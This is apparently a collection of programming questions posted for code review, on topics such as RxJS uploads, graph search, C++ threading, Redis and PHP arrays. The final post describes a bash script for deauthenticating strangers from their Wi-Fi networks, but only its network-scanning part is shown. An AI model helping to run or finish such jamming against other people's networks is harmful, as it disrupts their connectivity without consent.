texts: Simplifiy the following flow for upload file status tracking

texts:
I am using angular and rxjs, and I am doing the following :
I would like to upload an image to GCP, so I need to generate a signed url, upload the image,and while showing status of all the request.
Component => ask a Service A to upload a file.
   this.uploadProgress$ = this.uploadHelperService.uploadImage(userId, image);
   this.subscriptions.add(
      this.uploadProgress$.subscribe((result) => {
        if (result.status !== UploadStatus.SUCCESS) {
          return;
        }
        // Everything worked
      })
    );

Service A => Just bind an API call to generate a signed URL
  uploadImage(userId: string, image: File) {
    const urlGenerator = this.apiService
      .generateUploadUrl({
        userId,
        filename: image.name,
      })
      .pipe(
        map((result) => result.data?.url || ''),
        catchError((e) => throwError(e))
      );

    return this.gcpUploaderService.uploadToGCP(urlGenerator, images[0]);
  }

Service B => Generate the URL, and upload the file while tracking the progress.
  uploadToGCP(
    generator$: Observable<string>,
    file: File
  ): Observable<{
    url?: string;
    status: UploadStatus;
  }> {
    return new Observable((subscriber) => {
      subscriber.next({
        status: UploadStatus.INIT,
      });

      generator$.pipe(
        switchMap((url) => {
          subscriber.next({
            status: UploadStatus.UPLOADING,
          });

          return this.httpClient
            .put(url, file, {
              headers: new HttpHeaders({ 'Content-Type': file.type }),
            })
            .pipe(
              map(() => {
                subscriber.next({
                  url,
                  status: UploadStatus.SUCCESS,
                });
                subscriber.complete();
              }),
              catchError((e) => {
                subscriber.next({
                  status: UploadStatus.FAILED,
                });
                subscriber.complete();
                return throwError(e);
              })
            );
        }),
        catchError((e) => {
          subscriber.next({
            status: UploadStatus.FAILED,
          });
          subscriber.complete();
          return throwError(e);
        })
      );
    });
  }

Now all of this works, but it s junky, and I believe can be improved a lot, specially the last part. But I lack of inspiration today.


texts: Depth First Search and Breadth First Search in C++

texts:
I am trying to learn DFS and BFS. However, I just want to make sure that I am not doing anything wrong. Would you please determine if the BFS and DFS functions are correct?

#include <iostream>
#include <vector>
#include <queue>
#include <stack>
using namespace std;

class Graph
{
private:
    int num_of_vertices;
    vector<int> *Adj;
public:
    Graph(int V);
    void addEdge(int from, int to);
    void BFS(int Start);
    void DFS(int Start);
};

Graph::Graph(int V)
{
    this->num_of_vertices = V;
    Adj = new vector<int>[V];
}
void Graph::addEdge(int from, int to)
{
    Adj[from].push_back(to);
}

void Graph::BFS(int Start)
{
    bool* visited = new bool[this->num_of_vertices]();
    queue<int> queue;
    queue.push(Start);
    vector<int>::iterator i;
    cout << "BFS: ";
    while(!queue.empty())
    {
        Start = queue.front();
        cout << Start << " ";
        visited[Start] = true;
        queue.pop();
        for (i = Adj[Start].begin(); i != Adj[Start].end(); i++)
        {
            if (!visited[*i])
                queue.push(*i);
        }
    }
    cout << endl;
}

void Graph::DFS(int Start)
{
    bool* visited = new bool[this->num_of_vertices]();
    stack<int> stack;
    stack.push(Start);
    vector<int>::iterator i;
    cout << "DFS: ";
    while(!stack.empty())
    {
        int top = stack.top();
        cout << top << " ";
        stack.pop();
        visited[top] = true;
        for(i = Adj[top].begin(); i != Adj[top].end(); i++)
        {
            if (!visited[*i])
                stack.push(*i);
        }
    }
    cout << endl;
}


texts: Thread-safe callback registration and invocation in C++11

texts:
I need your help in reviewing the following code. My main concern is dead-lock, but there might also be other issues.

The EventGenerator object is owned by a single thread that running the ThreadTask.  Other threads might access EventGenerator public APIs to set/remove event handlers.

A few corner cases that I've thought about:

The thread that is executing ThreadTask might call EventGenerator::{Add,Remove}Handler via the EventDelegate::Invoke.
The registered EventDelegate might be cancelled at any time. If EventDelegate::Cancel was called before the invocation, the invoke should not happen, if was called during/after, then nothing should happen.

#include <thread>
#include <atomic>
#include <mutex>
#include <iostream>
#include <vector>
#include <memory>
#include <chrono>

class IEventHandler {
public: virtual void onEvent(int data) = 0;
};

class EventDelegate {
private:
    IEventHandler* _handler;
    std::atomic<bool> _cancelled;
 public:
     EventDelegate(IEventHandler* h) : _handler(h), _cancelled(false) {};
     void Cancel() { _cancelled = true; }
     void Invoke(int data) { if (!_cancelled) _handler->onEvent(data); }
 };

 class EventGenerator {
 private:
     std::vector<std::shared_ptr<EventDelegate>> _handlers;
     std::mutex _mutex;
 public:
     void AddHandler(std::shared_ptr<EventDelegate> handler) {
         std::lock_guard<std::mutex> lck(_mutex);
         _handlers.push_back(handler);
     }
     void RemoveHanler(std::shared_ptr<EventDelegate> handler) {
         std::lock_guard<std::mutex> lck(_mutex);

         for (auto it = _handlers.begin(); it != _handlers.end(); ++it) {
             if ((*it) == handler) { _handlers.erase(it); break; }
         }
     }
     void ThreadTask() {
         int data = 0;

         while (true) {

             std::this_thread::sleep_for(std::chrono::seconds(1));
             data++;

             std::vector<std::shared_ptr<EventDelegate>> handlers_copy;

             {
                 std::lock_guard<std::mutex> lck(_mutex);
                 handlers_copy = _handlers;
             }

             for (auto& h : handlers_copy) { h->Invoke(data); }

             if (data == 15) { break; }

         }
    }
};

// Concrete class
class MyEventHandler : public IEventHandler {
public:
    virtual void onEvent(int data) {
        std::cout << "onEvent: data = " << data << std::endl;
    }
};

int main(int argc, char** argv) {
    EventGenerator generator;
    std::thread t(&EventGenerator::ThreadTask, &generator);

    MyEventHandler h;
    std::shared_ptr<EventDelegate> deleg = std::make_shared<EventDelegate>(&h);

    generator.AddHandler(deleg);
    std::this_thread::sleep_for(std::chrono::seconds(3));

    generator.RemoveHanler(deleg);
    std::this_thread::sleep_for(std::chrono::seconds(3));

    generator.AddHandler(deleg);
    std::this_thread::sleep_for(std::chrono::seconds(3));

    deleg->Cancel();
    std::this_thread::sleep_for(std::chrono::seconds(2));

    t.join();
    return 0;
}


texts:
This code is a revised version of the implementation which asked for an advice on improvement. Original post here: Counting unival subtrees
Credits to: [Deduplicator], [Reinderien], [Toby Speight], [chux].
The revised version was applied following changes:

Merge insertRight(), insertLeft() function into createNode function
free resources after use
used const if referenced memory address value is not altered.
fix isTreeUniv() into recursive version
get rid of globals

Revised code:
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

typedef struct stTree
{
    struct stTree *left;
    struct stTree *right;
    int value;
} stTree;

stTree* createNode(int value, stTree *leftNode, stTree *rightNode)
{
    stTree *node = malloc(sizeof *node);
    if (!node) abort();

    node->left = leftNode;
    node->right = rightNode;
    node->value = value;

    return node;
}

bool isUnivSubTimpl(const stTree *node, const stTree *parent, size_t *count)
{
    if (!node) return 1;    //node without child count as unival subT

    bool r = isUnivSubTimpl(node->left, node, count) &isUnivSubTimpl(node->right, node, count);
    *count += r;

    return (r &node->value == parent->value);
}

size_t countUnivSubT(const stTree *node)
{
    size_t count = 0;
    isUnivSubTimpl(node, node, &count);
    return count;
}

static stTree* findBottomLeft(stTree *node)
{
    while (node->left)
        node = node->left;
    return node;
}

bool freeTree(stTree *node)
{
    if (!node) return true;
    stTree *bottomLeft = findBottomLeft(node);

    while (node)
    {
        if (node->right)
        {
            bottomLeft->left = node->right;
            bottomLeft = findBottomLeft(bottomLeft);
        }

        stTree *old = node;
        node = node->left;
        free(old);
    }
        return true;
}

int main(void)
{
    //build a tree
    stTree *rootNode =
        createNode(0,
            createNode(1, NULL, NULL),
            createNode(0,
                createNode(1,
                    createNode(1, NULL, NULL),
                    createNode(1, NULL, NULL)
               ),
                createNode(0, NULL, NULL)));

    printf("total universal subree: %u\n", countUnivSubT(rootNode));
    if (freeTree(rootNode))
        printf("memory released\n");

}


texts: Potential type-safety issues on object parsing function in DXL

texts:
I have inherited the maintenance of a DXL script (for IBM Doors).

In this, I came across various examples of stuff that make me scratch my head. Take this example:

int key = 3
print key

Running this in Doors, results in the expected output: 3.

However, in the documentation, we see that key is also the name of a function.

Object o
for o in numberCache do {
    // must cast the key command.
    int i = (int key numberCache)
    print i
}

While even the reference docs are full of examples declaring stuff like string key, Item key and so on, my concern is about safety.

What bad things I can run into, potentially, leaving the code I'm maintaining as is, knowing that it works, despite the fact it contains several functions using key as a variable name?

For instance, I'm really worried about this function right here:

void linkFindObjects(string value, Module m, string key_name, Skip objectList)
{
    Object  o
    string  key, key2, key3
    bool match1 = false
    bool match2 = false
    bool match = false

    for o in m do {
        key = probeAttr_(o, key_name)

        if(key == value)
        {
            put (objectList, o, o)
        }
    }

}

My concern is that in DXL parenthesis are not mandatory: as you can see in the example, casting key(numberCache) can be simplified in key numberCache. When declaring the first three strings, the only thing preventing the whole code to blow up seems to be the comma. Please ignore for now the fact that the code declares a lot of unused stuff. It is as I got it.

Am I worrying too much?


texts:
I am writing a stochastic simulation for a Yule process:

If you start with a certain number of bins each containing a random number of balls, you add another ball to an existing bin with a probability that is proportional to the number of balls within that bin, as well as create another bin with a single ball each time step.

Because I am trying to basically weed out any stochastic noise, I am using very large number of iterations, on the order of 1e6. This code was originally developed in MATLAB, making much less complicated, but is far too slow for large simulations.

Is there a better way of doing this?

#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <time.h>

void init_KISS();
unsigned int JKISS();
double uni_dblflt();
double array_sum();

int main()
{
    int t,count,i,j,k,ii,jj,kk;
    int desval;
    desval=1000000;
    unsigned int r;
    double v,u,bsum;
    init_KISS();
    for(i=0; i<100000;i++)
    {
        r = JKISS(); /* waste the first 100000 random numbers */
        uni_dblflt();
    }
    /*allocate memory for all params*/
    double *bins=malloc((desval+1)*sizeof(double));/*Urns, keeps track of actual "balls" in each bin*/
    if(bins==NULL)
    {
        printf("out of memory\n");
        exit(1);
    }

    double *p=malloc((desval+1)*sizeof(double));/* Urns/(sum of all "balls) i.e. the probability
                                                 that a new ball get placed in the ith urn. */
    if(p==NULL)
    {
        printf("out of memory\n");
        exit(1);
    }

    double *ptot=malloc((desval+1)*sizeof(double));/*Sum of all probabilities for the 1st to the ith
                                                    bin*/
    if(ptot==NULL)
    {
        printf("out of memory\n");
        exit(1);
    }

    for(i=0;i<(desval+1);i++)
    {
        bins[i]=0;
        ptot[i]=0;
        p[i]=0;
    }

    for(i=0;i<10;i++)/*seed 10 initial bins with 1 "ball"*/
    {
        v=1;
        bins[i]=v;
    }

    for(j=10;j<desval;j++)
    {
        bsum=array_sum(bins,desval);/*sum the balls in each bin*/
        for(k=0;k<j;k++) /* calculate the probability that with which a ball might be placed in
                          each urn*/
        {
            p[k]=bins[k]/bsum;
        }

        for(ii=0;ii<desval;ii++)/*Evaluate the probability total cutoffs*/
        {
            ptot[ii]=array_sum(p,ii);
        }
        u=uni_dblflt();
        count=0;
        while(u<=ptot[count])/*choose bin to place new ball. The numerical value of ptot(count)
                              is directly related to the probability space with which u can be
                              picked*/
        {
            count++;
        }

        bins[count]++;
        bins[j]=1;
    }

    for(jj=0;jj<desval;jj++)
    {
        printf("%.8f\n",bins[jj]);
    }

    free(bins);
    free(p);
    free(ptot);
    bins=NULL;
    p=NULL;
    ptot=NULL;
    return 0;
}

double array_sum(double *arr, int maxval)
{
    /* this function sums a large array*/
    int i;
    double sum;
    sum=0;

    for(i=0; i<maxval;i++)
    {
        sum +=arr[i];
    }

    return sum;
}


texts: JavaScript to connect to Redis using Singleton

texts:
I'm trying to create a class to connect to Redis in Express. I don't think my code is good enough as I got variable db hanging out.

'use strict';

var redis = require('redis');
var bluebird = require('bluebird');
bluebird.promisifyAll(redis.RedisClient.prototype);
bluebird.promisifyAll(redis.Multi.prototype);

var debug = require('debug')('expressapp');

var config = require('../config');

var state = {
  db: null
};

module.exports = {
  connect: function connect(done) {
    if (state.db) {
      return done();
    }
    var client = redis.createClient({
      host: config.redis.url,
      port: config.redis.port,
      retry_strategy: function redisRetry(options) {
        if (options.error.code === 'ECONNREFUSED') {
          debug('Redis connection refused: ' + options.error.code);
        }
        if (options.total_retry_time > 1000 * 60 * 60) {
          return new Error('Retry time exhausted');
        }

        return Math.max(options.attempt * 100, 2000);
      }
    });

    client.on('error', function redisError(err) {
      debug('Redis error' + err);
      return new Error(err);
    });

    client.on('reconnecting', function redisReconnecting() {
      debug('Retrying to connect to Redis');
    });

    client.on('connect', function redisConnect() {
      debug('Redis connected');
      state.db = client;
      done()
    });
  },

  get: function get() {
    return state.db;
  },

  close: function close(done) {
    if (state.db) {
      state.db.quit();
      return done();
    }
  }
}

I would really appreciated any suggestions.


texts: Function that returns the earliest time point when a worker is allowed to start duty

texts:
The task is to provide a function that returns the earliest time point when a worker is allowed to start duty.

The function uses two parameters:

Time stamp when the rest starts
The number of local nights which is necessary according to a table

I wonder if there is anything wrong with void convertTimeStructToLocalTime(TimeStamp * const timeStructToConvert) in the code. Is it OK to use constant pointer to the TimeStamp structure in convertTimeStructToLocalTime?

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

//has tm_isdst flag to be used for daylight saving time
typedef struct tm TimeStamp;
typedef enum {false, true} bool;

TimeStamp getEndOfRest(TimeStamp startOfRest, int neededLocalNights);
bool isNeededLocalNightsInTheRange(int neededLocalNights);
void convertTimeStructToLocalTime(TimeStamp * const timeStructToConvert);

//to make tests easier
void wrapGetEndOfRest(TimeStamp startOfRest, int neededLocalNights);

int main(void) {
    int y=2016, m=2, d=27;
    int y2=2016, m2=12, d2=28;
    int daysDelta = 0;

    TimeStamp t = { .tm_year=y-1900, .tm_mon=m-1, .tm_mday=d, .tm_hour=12, .tm_min=5, .tm_sec=10 };
    TimeStamp t2 = { .tm_year=y2-1900, .tm_mon=m2-1, .tm_mday=d2, .tm_hour=9, .tm_min=59, .tm_sec=5};

    //tests
    for(daysDelta = -1; daysDelta < 8; daysDelta++){
        convertTimeStructToLocalTime(&t);
        printf("%s is the start add %d days\n", asctime(&t), daysDelta);
        wrapGetEndOfRest(t, daysDelta);
    }

    for(daysDelta = -1; daysDelta < 8; daysDelta++){
        convertTimeStructToLocalTime(&t2);
        printf("%s is the start add %d days\n", asctime(&t2), daysDelta);
        wrapGetEndOfRest(t2, daysDelta);
    }

    return EXIT_SUCCESS;
}

//Since the minimum for neededLocalNights is 2 according to the table the time of departure is always 6 am
TimeStamp getEndOfRest(TimeStamp startOfRest, int neededLocalNights){
    startOfRest.tm_mday += neededLocalNights;
    startOfRest.tm_hour = 6;
    startOfRest.tm_min = 0;
    startOfRest.tm_sec = 0;
    convertTimeStructToLocalTime(&startOfRest);
    return startOfRest;
}

bool isNeededLocalNightsInTheRange(int neededLocalNights){
    if(2 <= neededLocalNights && neededLocalNights <= 5){
        return true;
    }
    else{
        return false;
    }
}

void convertTimeStructToLocalTime(TimeStamp * const timeStructToConvert){
    int ret = mktime(timeStructToConvert);
    if( ret == -1 ){
        printf("Error: unable to make time using mktime\n");
    }
}

void wrapGetEndOfRest(TimeStamp startOfRest, int neededLocalNights){
    if(isNeededLocalNightsInTheRange(neededLocalNights)){
        startOfRest = getEndOfRest(startOfRest, neededLocalNights);
        printf("%s is the end\n\n", asctime(&startOfRest));
    }
    else{
        printf("Error: the neededLocalNights is out of range min 2, max 5 got: %d \n\n", neededLocalNights);
    }
}


texts:
$$
\frac{|x|-|y|}{1+|xy|}
$$

How can I reduce the amount of code without losing quality? What are your tips? Your comments on the structure, logic, in general, everything. How to make the type of data entered by the user determined automatically?

 using System;
 class taskTwo {

static void Main() {

    int x, y; // Declare variables
    double z, w;
    Console.WriteLine("Please, enter two the numbers");
   x = int.Parse(Console.ReadLine()); //The user enters
    y = int.Parse(Console.ReadLine());

    if (x == 0 && y == 0)//If two zeros are entered, then the numerator is
                                                            zero.
    {
        Console.WriteLine("The numerator and denominator can not be zero");
    }

    else {
        z = Math.Abs(x) - Math.Abs(y);//Know what the numerator is equal to
        if (z == 0)//If the numerator is zero, then ...
              {
                    Console.WriteLine("Numerator is zero, division is impossible");
                }
        else {
            w = z / (1 + Math.Abs(x) * Math.Abs(y)); //Final calculation
            Console.WriteLine("W = " + w); //Display the result on the screen
        }
    }

}}


texts:
I get a map from DB called doc1 and I also have the arrayList called someWord.  I will find the subscription of doc1 and someWord and store it in doc2.  I will also add the intersecting words with zero index in doc2.

This code consumes too much time:

public void setDocuments() {
    // Neighbor contain the arrayList of Documents
    neighbors.add(new Neighbor<Integer>("sky"));
    neighbors.add(new Neighbor<Integer>("earth"));

    Map<Long, String> docInfo;
    // Document is a Map
    Document<String> doc1 = new Document<String>();
    Document<Integer> doc2;
    Map<Integer, Long> sorted;
    ArrayList<String> intersectionWords;
    HashSet<String> different;
    try {
        docInfo = dbDocMeta.getDocInfo();
        String family;
        int index = 0;
        for (Long id : docInfo.keySet()) {
            family = docInfo.get(id).contains("sky") ? "sky" : "earth";
            for (Neighbor<Integer> neighbor : neighbors) {
                // check if the document in the Neighbour family
                if (neighbor.getFamily().equalsIgnoreCase(family)) {
                    different = new HashSet<String>();
                    different.addAll(someWord);
                    doc1 = dbWords.getNeighbors(id);
                    doc2 = new Document<Integer>();
                    intersectionWords = new ArrayList<String>();
                    for (String word : doc1.getMap().keySet()) {
                        index = dbWords.getIndex(word);
                        if (selectedFeatures.contains(word)) {
                            doc2.add(index, doc1.getAttributes().get(word));
                            intersectionWords.add(word);
                        }
                    }
                    if (!doc2.getMap().isEmpty()) {
                        different.removeAll(intersectionWords);
                        Iterator<String> iterator = different.iterator();
                        while (iterator.hasNext()) {
                            String s = iterator.next();
                            index = dbWords.getIndex(s);
                            doc2.add(index, 0);
                        }
                        sorted = new TreeMap<Integer, Long>(doc2.getAttributes());
                        doc2.setMap(sorted);
                        neighbor.addDocument(doc2);
                        break;
                    }
                }
            }
        }
    } catch (InterruptedException e) {
        logger.error("InterruptedException msg : {} \n {}", e.getMessage(), e.getStackTrace());
    } catch (ClassNotFoundException e) {
        logger.error("ClassNotFoundException msg : {} \n {}", e.getMessage(), e.getStackTrace());
    }
}

Neighbour variables are:

private ArrayList<Document<T>>  documents;
private int                     docCount;
private String                  family;

It also contains some setters and getters, and dbDocMeta contains the ID of all Documents.


texts: Is there any way to stop the lag in this Gif opener?

texts:
Recently, I made this gif opener using tkinter:
import tkinter as tk
from tkinter import filedialog as fd
import time
import threading

def getfile():
     file = fd.askopenfilename()
     window = tk.Toplevel()
     def run_gif():
          i = 0
          while True:
               try:
                    photo = tk.PhotoImage(file = file,format="gif -index" +' '+ str(i))
                    gif = tk.Label(window, image=photo)
                    gif.grid(row=0,column=0)
                    i += 1
                    time.sleep(0.0001)
               except:
                    i = 0
     gif_thread=threading.Thread(target=run_gif)
     gif_thread.start()
     window.mainloop()

def display():
     root = tk.Tk()
     root.title(".gif opener")
     root.geometry('50x100')
     root.configure(bg = "lightgreen")
     label = tk.Label(root, text = ".gif opener")
     label.pack()
     button = tk.Button(root, text = "File", command = getfile)
     button.place(x = "50", y= "50")
     root.mainloop()

display()

However, every time I open a gif, the animation is really laggy.
Is there any way to make the gifs flow smoother? Any help will be appreciated.


texts: Is the solution design optimal? C# 3 - Tier

texts:
I have the following solution structure. This is a business domain (for an amount transfer operation in bank account) which will be called by a WCF service. Is the solution structuring correct?

Data Acess Layer does not create domain objects. It just pass database record wrapped in another simple object (DataEntities.AccountRow). Is it a good/standard approach?
Manager and domain objects are in two different layers. Is it okay?
A layer “DTOforServiceCommunication” is created for communicating with WCF service.
Is DTOforServiceCommunication and DataEntities are redundant or a good practice?
What are the improvement points for this solution structure?

Note: The service mentioned above will be used by multiple business functions (clients). Since the SOA is not object oriented, we cannot pass business domain objects across the boundary.

// TransferDTO

namespace DTOforServiceCommunication
{
public class TransferDTO
{
    public int UserID { get; set; }
    public int FromAccounutNumber { get; set; }
    public int ToAccountNumber { get; set; }
    public int AmountToTransfer { get; set; }
}
}

// AccountRow

namespace DataEntities
{
public class AccountRow
{
    public int AccountNumber { get; set; }
    public string AccountType { get; set; }
    public int Duration { get; set; }
    public int DepositedAmount { get; set; }

}
}

// AccountManager

namespace BusinessManager
{
public class AccountManager
{
    public void TransferAmount(DTOforServiceCommunication.TransferDTO  transferDTO)
    {
        //DAL does not create domain objects. It just pass database record wrapped in another simple object
        DAL.AccountDAL accountDAL = new DAL.AccountDAL();
        DataEntities.AccountRow row = accountDAL.GetAcocunt(transferDTO.UserID, transferDTO.FromAccounutNumber);

        DomainObject.IBankAccount bankAccount = null;
        if (String.Equals(row.AccountType, "Savings"))
        {
            bankAccount = new DomainObject.SavingsAccount();
            bankAccount.UserID = transferDTO.UserID;
            bankAccount.AccountNumber = row.AccountNumber;
            bankAccount.AmountDeposited = row.DepositedAmount;

        }
        else
        {
                bankAccount = new DomainObject.FixedAccount();
                bankAccount.UserID = transferDTO.UserID;
                bankAccount.AccountNumber = row.AccountNumber;
                bankAccount.AmountDeposited = row.DepositedAmount;
        }

        bankAccount.Transfer(transferDTO.ToAccountNumber, transferDTO.AmountToTransfer);

    }

}
}

//DAL

namespace DAL
{
//DAL does not create domain objects. It just pass database record wrapped in another simple object
public class AccountDAL
{

    List<DataEntities.AccountRow> dbRecords = new List<DataEntities.AccountRow>()
    {
        new DataEntities.AccountRow{AccountNumber=1,AccountType="Savings",Duration=6,DepositedAmount=50000},
        new DataEntities.AccountRow{AccountNumber=2,AccountType="Fixed",Duration=6,DepositedAmount=50000}
    };

    public DataEntities.AccountRow GetAcocunt(int userID, int accountNumber)
    {
        return dbRecords[0];
    }

}

    }

READING:

http://msdn.microsoft.com/en-us/magazine/dd569757.aspx
https://stackoverflow.com/questions/125453/implementation-example-for-repository-pattern-with-linq-to-sql-and-c-sharp
https://stackoverflow.com/questions/3175/repository-pattern-tutorial-in-c-sharp/1374420#1374420
https://stackoverflow.com/questions/151769/whats-the-common-way-for-oop-pattern-design-data-access
https://stackoverflow.com/questions/4198136/classic-ado-net-or-entity-framework-better-for-larger-scale-database-transaction
http://sourceforge.net/projects/vanilla-dal/
https://stackoverflow.com/questions/9474425/should-the-configuration-of-an-application-be-accessed-using-dal


texts: Avoid Split to reduce memory press (on servers)

texts:
I have a Component that is used for all Active Directory queries.

The function below is used heavily perhaps even milions of times each day.

Performance is a feature!

It's used on servers and I want to reduce memory press on these servers (when the GC is collecting the server websites etc are not responding... well of course ther are perhaps even bigger sinners in that case - but I write this in VB.NET and because of that the code has to be better than ordinary).

I can trust the format so I don't have to check.
dn = distinguishedName
Data: "CN=joedoe0101,OU=User,OU=Cardiff Electric,OU=Company,DC=root,DC=usa,DC=net"
Result: "Cardiff Electric"

Below I have two examples that not quite does what I want:

Friend Shared Function GetOrganization(dn As String) As String
    Return dn.Split(","c)(2).Substring(3)
End Function

Or this

Friend Shared Function GetOrganization(dn As String) As String
    Return dn.Substring(dn.IndexOf(","c) + 1).Split(","c)(1).Substring(3)
End Function

Is there a better solution?

Is there a solution to also get the "Company" ?


texts: Project Euler 67 - Max path through triangle

texts:
This is a response to this brute-force version where the algorithm was not intended for review.

In this challenge you are prompted to find the path through a large triangular set of numers, similar to:

     75
    13 92
   43 77 12
  11 55 86 7
 ....

The goal is to find a path from the top to the bottom while summing the values as you go, where the sum of the items on the path must be the maximum sum possible. Using the top-4 lines in the example above, the path would be 75 + 92 + 77 + 86. The goal is to report the sum of the path, or 330

I decided to use some Java 8-based idioms to parse and process the triangle. This is where I hope to get some focus for the review as well, whether there are better Java-8 ways to do this.

To parse the data in to a 2-dimensional int array:

private static int[][] getTriangle(Path source) throws IOException {
    try(Stream<String> lines = Files.lines(source)) {
        return lines.map(String::trim)
                .filter(line -> !line.isEmpty())
                .map(level -> parseLevel(level))
                .toArray(sz -> new int[sz][]);
    }
}

private static int[] parseLevel(String level) {
    return Stream.of(level.split("\\s+"))
                 .mapToInt(Integer::parseInt)
                 .toArray();
}

Then, to compute the maximum path:

private static int maxPath(final int[][] triangle) {

    // start at the bottom, and work to the top.
    // maintain a 'current' array which is the maximum value
    // possible at the current line for the specified values.
    // swap that with the 'previous' line when a line is complete.

    int[] previous = new int[triangle.length + 1];
    int[] current = new int[previous.length];

    for (int row = triangle.length - 1; row >= 0; row--) {
        for (int col = 0; col <= row; col++) {
            current[col] = Math.max(previous[col], previous[col + 1]) + triangle[row][col];
        }
        int[] tmp = previous;
        previous = current;
        current = tmp;
    }

    // the first value of the top row is the maximum path sum.
    return previous[0];
}

When I run with the following main method:

public static void main(String[] args) throws IOException {
    for (String p : args) {
        Path path = Paths.get(p);
        int[][] triangle = getTriangle(path);
        long nanos = System.nanoTime();
        int maxpath = maxPath(triangle);
        nanos = System.nanoTime() - nanos;
        System.out.printf("Maxpath for %s is %d (in %.3fms)\n", p, maxpath, nanos / 1000000.0);
    }
}

I get the results for #18 in 0.030ms and for #67 in 0.203ms on my computer.


texts: Merging two multidimensional associative arrays

texts:
I just wrote a function that will loop through two multidimensional associative arrays and merge them together based on the key names and their values. While I'm satisfied that this function works, I have a strong feeling that it can be improved. Can I get some feedback?

<?php

function array_merge_defaults (array &$array1, array &$array2, $keyField)
{
    $merged = $array1;

    foreach ($array2 as $key => &$value)
    {
        $valueMerged = false;

        foreach ($merged as $mergedKey => &$item)
        {
            if (is_array($item) && array_key_exists($keyField, $item) && $item[$keyField] == $value[$keyField])
            {
                $item = array_merge($item, $value);
                $valueMerged = true;

                break;
            }
            else if ($mergedKey == $key)
            {
                if (is_numeric($mergedKey))
                {
                    $merged[] = $value;
                }
                else
                {
                    $item = $value;
                }

                $valueMerged = true;

                break;
            }
        }

        if (!$valueMerged)
        {
            $merged[$key] = $value;
        }
    }

    return $merged;
}

$defaults = array(
    array(
        "name" => "foo",
        "level" => 5,
        "meta" => array(
            "value" => 1
        )
    ),
    array(
        "name" => "bar",
        "level" => 6
    )
);

$custom = array(
    array(
        "name" => "qux",
        "date" => "2016-01-01"
    ),
    array(
        "name" => "tux",
        "date" => "2016-01-31"
    ),
    array(
        "name" => "foo",
        "data" => "2015-01-01",
        "meta" => array(
            "value" => 5,
            "something" => "hello world"
        )
    )
);

$merged = array_merge_defaults($defaults, $custom, 'name');

print_r($merged);

Here's how my final array looks

Array
(
    [0] => Array
        (
            [name] => foo
            [level] => 5
            [meta] => Array
                (
                    [value] => 5
                    [something] => hello world
                )

            [data] => 2015-01-01
        )

    [1] => Array
        (
            [name] => bar
            [level] => 6
        )

    [2] => Array
        (
            [name] => qux
            [date] => 2016-01-01
        )

    [3] => Array
        (
            [name] => tux
            [date] => 2016-01-31
        )

)


texts: How to improve execution of web service using System.DirectoryServies.AccountManagement that runs very slow?

texts:
This method runs in just under two minutes.  I would like to optimize it to run in less than 15 seconds. Using a LAMDA filter on my list before iterating it's elements and removing one conditional statement in the method shaved off 30 seconds.  Any ideas to improve performance?

c# .net 4.0

[SecurityCritical]
        [SecurityPermissionAttribute(SecurityAction.Demand)]
        private static void GetGroupMembership(List<ActiveDirectoryPrincipalProperties> userGroupProperties)
        {
            List<ActiveDirectoryPrincipalProperties> groupProperties = new List<ActiveDirectoryPrincipalProperties>();

            foreach (ActiveDirectoryPrincipalProperties gProperties in userGroupProperties.FindAll(token => token.groupYesNo.Equals(true)))
            {

                PrincipalContext ctx = new PrincipalContext(ContextType.Domain, gProperties.groupDomain);
                try
                {

                    GroupPrincipal group = GroupPrincipal.FindByIdentity(ctx, IdentityType.Name, gProperties.groupName);

                    foreach (Principal member in group.GetMembers(true))
                    {
                        ActiveDirectoryPrincipalProperties memberProperties = new ActiveDirectoryPrincipalProperties();
                        memberProperties.fullGroupName = gProperties.fullGroupName;
                        memberProperties.groupDomain = gProperties.groupDomain;
                        memberProperties.groupName = gProperties.groupName;
                        memberProperties.groupType = gProperties.groupType;
                        memberProperties.groupYesNo = false;
                        memberProperties.memberDomain = member.Context.Name.ToString();
                        memberProperties.memberName = member.SamAccountName.ToString();
                        memberProperties.memberType = member.StructuralObjectClass.ToString();
                        memberProperties.sqlUserOnlyYesNo = false;

                        groupProperties.Add(memberProperties);
                    }
                    group.Dispose();
                }
                finally
                {
                    ctx.Dispose();
                }

            }

            userGroupProperties.AddRange(groupProperties);
        }


texts: How to implement Publish-subscribe pattern in PHP?

texts:
I have two classes, Database and Logger. Database is responsible for handling SQL queries, and Logger logs messages to an external file. Whenever the database executes an SQL query, I want Logger to log it. Right now my implementation looks something like this:

    class Database {
        public function query($sql) {
            Logger::log($sql);

            // ...
        }
    }

    class Logger {
        public static function log($msg) {
            // ...
        }
    }

But I feel that this is bad practice because Database shouldn't know about Logger. So instead I was thinking of creating a publisher-subscriber model (or something similar) where Database keeps a list of subscribers and has a method to subscribe to events, then it alerts subscribers when an event is fired (eg: when query is executed). I'm thinking something like this:

    class Database {
        $subscribers = array();

        public function subscribe($something) {
            $subscribers.push($something);
        }

        private function alert_subscribers($msg, $event_type) {
            foreach ($s as $subscribers) {
                // Alert all subscribers, somehow
            }
        }

        public function query($sql) {
            alert_subscribers($sql, SQL_QUERY_EXECUTED);

            // ...
        }
    }

    class Logger {
        public static function log($msg) {
            // ...
        }
    }

I want it to have multiple event types, so basically different groups are alerted when different events happen. I also don't know how the Logger should subscribe to Database under this design.

How should I go about implementing this? I'm not sure how to start.


texts:
Bob is jamming it's way through the city deauthenticating people from thier wifi for a few seconds. First scanning all possible wifi-AP and then pretty printing them, afterwards you can choose a wifi to jam and it will perform a deauth for a few seconds attack using the airmon-ng framework.

This all works as intended but I'd like an intermediate review, before I try to add more functionality. This is one of my very first bash programs so please be gentle. As I'm unskilled in bash.

I wonder if I use the correct syntax in bash?
Further I think my scanning function is not all that good, I bet
there are more pretty ways to check.
Lastly maybe checking wifi's near me with airmodump-ng instead of
iwlist scanning would be a better way of handling this?

#!/bin/bash

# My global vars
declare -a mac=()
declare -a essid=()
declare -a channel=()
declare -a level=()

function scan {
    while read line; do
        # Reset variables on new network
        [[ "$line" =~ Cell || "$line" == "" ]] && {
            # If we already found one network then echo its information
            [[ "$network" != "" ]] && {
                # Update arrays & clear
                mac+=($m);essid+=($e);channel+=($chn);level+=($lvl)
                network=""
            }
        }
        [[ "$line" =~ Address ]] && {
            m=${line##*ss: }
        }
        [[ "$line" =~ Channel ]] && {
            chn=${line##*nel }
            chn=${chn:0:$((${#chn}-1))}
        }
        [[ "$line" =~ Quality ]] && {
            lvl=${line##*evel=}
            lvl=${lvl%% *}
        }

